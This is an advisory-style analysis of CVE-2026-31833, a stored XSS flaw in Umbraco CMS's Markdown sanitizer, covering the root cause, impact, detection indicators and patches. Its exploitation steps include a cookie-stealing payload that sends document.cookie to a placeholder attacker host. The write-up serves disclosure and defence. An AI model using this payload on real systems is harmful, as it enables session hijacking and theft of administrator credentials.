CVE-2026-31833: 
C# vulnerability analysis and mitigation

CVE-2026-31833 is a stored Cross-Site Scripting (XSS) vulnerability in Umbraco CMS, an ASP.NET-based content management system, affecting the UFM (Umbraco Flavored Markdown) rendering pipeline. An authenticated backoffice user with Settings access can inject malicious HTML containing event handler attributes (e.g., onclick, onload) into property type descriptions, which are then rendered for other backoffice users. Affected versions are 16.2.0 through 16.5.0 and 17.0.0 through 17.2.1. The vulnerability was published on March 10, 2026, and carries a CVSS v3.1 base score of 6.7 (Moderate) (GitHub Advisory, Umbraco Advisory).

The root cause is an overly permissive attributeNameCheck configuration (/.+/) in the UFM DOMPurify instance, classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). This regex pattern matches any attribute name of one or more characters, effectively allowing all HTML attributes — including dangerous event handlers like onclick and onload — to pass through sanitization when used within Umbraco web components (umb-*, uui-*, ufm-*). Because property type descriptions support Markdown/HTML via the UFM rendering pipeline, an attacker can craft a payload that embeds JavaScript in these event handler attributes, which executes when other backoffice users view the affected property type descriptions (GitHub Advisory, Umbraco Advisory).

Successful exploitation results in persistent (stored) XSS that executes arbitrary JavaScript in the browsers of other authenticated backoffice users who view the compromised property type descriptions. This can lead to session token theft, unauthorized actions performed on behalf of victims, content modification, and potential privilege escalation within the Umbraco backoffice. Confidentiality and integrity impacts are rated High, with a Low availability impact, reflecting the risk of credential harvesting and unauthorized data manipulation (Umbraco Advisory).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported as of the time of disclosure (GitHub Advisory). Exploitation requires an authenticated backoffice account with Settings access, which limits the attack surface. The EPSS score is approximately 0.043–0.066%, placing it in the lower percentiles for near-term exploitation likelihood. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.

1. Gain authenticated access: Obtain or compromise a backoffice user account with Settings access on a vulnerable Umbraco instance (versions 16.2.0–16.5.0 or 17.0.0–17.2.1).
2. Navigate to property type settings: Log into the Umbraco backoffice and navigate to Settings > Data Types or Document Types to access property type description fields.
3. Craft a malicious payload: Construct an HTML payload that embeds a JavaScript event handler within an Umbraco web component tag, exploiting the permissive DOMPurify attributeNameCheck regex. For example: <umb-icon onclick="document.location='https://attacker.com/?c='+document.cookie"></umb-icon>.
4. Inject into property type description: Save the malicious HTML/Markdown into a property type description field, which is stored persistently in the CMS database.
5. Wait for victim interaction: When another backoffice user (e.g., an administrator) views or interacts with the affected property type, the injected event handler fires in their browser, executing the attacker's JavaScript.
6. Harvest results: Collect stolen session tokens, cookies, or other sensitive data from the attacker-controlled server to perform session hijacking or further privilege escalation (Umbraco Advisory).

• Logs: Umbraco audit logs showing Settings modifications (property type description edits) by unexpected or low-privileged users; HTTP requests to the Umbraco backoffice API saving property type descriptions containing HTML event handler attributes (onclick, onload, onerror, etc.).
• File System / Database: Property type description fields in the Umbraco database containing HTML tags with event handler attributes or obfuscated JavaScript, particularly within umb-*, uui-*, or ufm-* web component tags.
• Network: Outbound HTTP requests from backoffice users' browsers to unexpected external domains shortly after viewing property type descriptions; unusual GET requests to attacker-controlled URLs containing encoded cookie or session data in query parameters.
• Process/Application: JavaScript errors or unexpected redirects in the Umbraco backoffice interface reported by users; browser developer tool alerts related to XSS or unexpected script execution in the backoffice context.

Umbraco has released patches in versions 16.5.1 (for the 16.x branch) and 17.2.2 (for the 17.x branch). There is no configuration-based workaround available other than upgrading to a patched version. As interim measures, administrators should restrict backoffice Settings access to only fully trusted users, audit existing property type descriptions for suspicious HTML content, and review DOMPurify configurations to ensure event handler attributes are properly blocked (Umbraco Advisory, GitHub Advisory).